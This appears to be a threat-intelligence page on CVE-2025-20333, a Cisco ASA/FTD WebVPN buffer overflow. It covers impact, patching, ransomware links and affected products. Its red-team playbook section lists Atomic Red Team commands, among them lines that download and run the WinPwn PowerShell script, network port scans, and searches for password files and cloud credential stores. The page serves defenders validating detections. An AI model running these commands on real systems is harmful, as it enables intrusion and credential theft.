CVE-2025-20333
Overview
This vulnerability is a buffer overflow (CWE-120) caused by improper validation of user-supplied input within the VPN web server component of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software. Specifically, crafted HTTP(S) requests containing malicious payloads are not correctly sanitized, leading to memory corruption in the web VPN interface. The flaw resides in the handling of HTTP requests processed by the VPN web server module.
Vulnerability Description
A vulnerability in the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an authenticated, remote attacker to execute arbitrary code on an affected device. This vulnerability is due to improper validation of user-supplied input in HTTP(S) requests. An attacker with valid VPN user credentials could exploit this vulnerability by sending crafted HTTP requests to an affected device. A successful exploit could allow the attacker to execute arbitrary code as root, possibly resulting in the complete compromise of the affected device.
Impact
An attacker possessing valid VPN credentials can execute arbitrary code with root privileges on the affected device, resulting in full system compromise. This enables unauthorized control over firewall functions, potential data exfiltration, and lateral movement within the network. The vulnerability has been exploited in the wild and can be combined with other flaws to bypass authentication, increasing the attack surface. Successful exploitation undermines network perimeter security and can disrupt enterprise operations or expose sensitive data.
Solution
Cisco has released security updates addressing this vulnerability in Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software. Administrators should apply the patches as detailed in Cisco Security Advisory cisco-sa-asaftd-webvpn-z5xP8EUB. The advisory provides specific version updates and installation instructions. No alternative workarounds are recommended; prompt patching is essential to mitigate exploitation risk.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
A critical vulnerability exists within the VPN web server of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software, stemming from improper validation of user-supplied input in HTTP(S) requests. This flaw allows authenticated remote attackers to execute arbitrary code on affected devices. The root cause lies in the failure to adequately sanitize input, which can lead to the execution of malicious commands with root privileges. This level of access can result in a complete compromise of the device, potentially allowing attackers to manipulate network traffic, exfiltrate sensitive data, or deploy further malicious payloads within the network.
Exploitation of this vulnerability requires valid VPN user credentials, which means that attackers must first gain access to the VPN service. Once authenticated, they can craft specially designed HTTP requests that exploit the input validation flaw. This scenario presents a significant risk, especially in environments where VPN access is granted to multiple users, including employees, contractors, or third-party vendors. The ability to execute arbitrary code as root not only jeopardizes the integrity of the affected device but also poses a threat to the broader network infrastructure, as attackers could pivot to other systems or services once they gain a foothold.
The real-world impact of this vulnerability is substantial, particularly for organizations that rely on Cisco's security appliances for their network defense. A successful exploit could lead to severe business risks, including data breaches, operational disruptions, and reputational damage. The potential for attackers to gain unauthorized access to sensitive information or critical systems could result in compliance violations, legal liabilities, and financial losses. Furthermore, the high CVSS score of 9.9 indicates that this vulnerability is considered critical, necessitating immediate attention from security teams to mitigate the risks associated with it.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating and patching affected Cisco products is crucial, as vendors typically release security updates to address known vulnerabilities. Additionally, organizations should employ intrusion detection systems (IDS) and intrusion prevention systems (IPS) to monitor network traffic for suspicious activity that may indicate an attempted exploit. Implementing strict access controls and ensuring that VPN credentials are managed securely can also help reduce the risk of unauthorized access. Furthermore, conducting regular security assessments and penetration testing can aid in identifying potential weaknesses in the network infrastructure before they can be exploited by malicious actors.
In conclusion, the vulnerability in the VPN web server of Cisco Secure Firewall ASA and FTD Software represents a significant threat to organizations utilizing these products. The potential for remote code execution as root underscores the need for robust security measures, including timely updates, vigilant monitoring, and strong access controls. By adopting a proactive security posture, organizations can better protect themselves against the risks posed by this and similar vulnerabilities, ensuring the integrity and availability of their network resources.
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting the VPN web server vulnerability in Cisco Secure Firewall ASA and FTD Software. Our telemetry indicates a significant rise in detection activity, accompanied by a substantial increase in the Exploit Prediction Scoring System (EPSS) score, reflecting a growing likelihood of active exploitation in the wild. This surge aligns temporally with the recent inclusion of CVE-2025-20333 in the Known Exploited Vulnerabilities (KEV) catalog, underscoring heightened adversary interest and operationalization. Although no new exploit techniques have been publicly disclosed, the increased exploitation signals elevated risk for organizations relying on these products. Notably, ransomware groups such as Akira remain linked to this vulnerability, suggesting potential for its use in targeted intrusion campaigns despite the absence of confirmed ransomware deployment at this time. Consequently, the threat level has escalated from a theoretical to a more imminent operational concern, warranting increased vigilance and prioritization within defensive postures.
Update 2 — June 07, 2026
CSURFACE threat intelligence has identified the emergence of a publicly available proof-of-concept exploit targeting CVE-2025-20333, hosted on GitHub, marking a significant shift in the exploit landscape. Despite a notable reduction in detection activity across our telemetry, this development indicates that adversaries now have more accessible tools to weaponize the vulnerability, potentially lowering the barrier to exploitation. Concurrently, the EPSS score has declined modestly, reflecting a slight decrease in overall exploitation likelihood, which may be influenced by the reduced detection signals or shifting attacker focus. However, the presence of new exploitation tools combined with continued interest from threat actors such as the Akira ransomware group underscores a persistent operational risk. This dynamic suggests that while immediate exploitation attempts may be less frequent, the vulnerability remains a viable vector for targeted intrusions and lateral movement within compromised environments. Consequently, the threat level remains elevated, with increased emphasis on monitoring for exploitation attempts leveraging the newly available proof-of-concept code.
Affected Products (12)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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|
Cisco | Adaptive Security Appliance Software | All |
cpe:2.3:o:cisco:adaptive_security_appliance_software:*:*:*:*:*:*:*:*
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|
Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
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Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
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Cisco | Firepower Threat Defense | All |
cpe:2.3:a:cisco:firepower_threat_defense:*:*:*:*:*:*:*:*
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Cisco | Firepower Threat Defense | 7.6.0 |
cpe:2.3:a:cisco:firepower_threat_defense:7.6.0:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
curtishoughton/Cisco-ASA-CVE-2025-20333-Scanner
Safe Python scanner for Cisco CVE-2025-20333 (Cisco ASA/FTD WebVPN Buffer Overflow)
|
curtishoughton | 0 | 0 | 2026-05-16 | View |
Threat Feed
15 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-20333 |
| sec.cloudapps.cisco.com |
GitHub CVE
|
https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-webvpn-z5xP8EUB |
| sec.cloudapps.cisco.com |
NVD API
Vendor Advisory
|
https://sec.cloudapps.cisco.com/security/center/resources/asa_ftd_continued_attacks |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-20333 |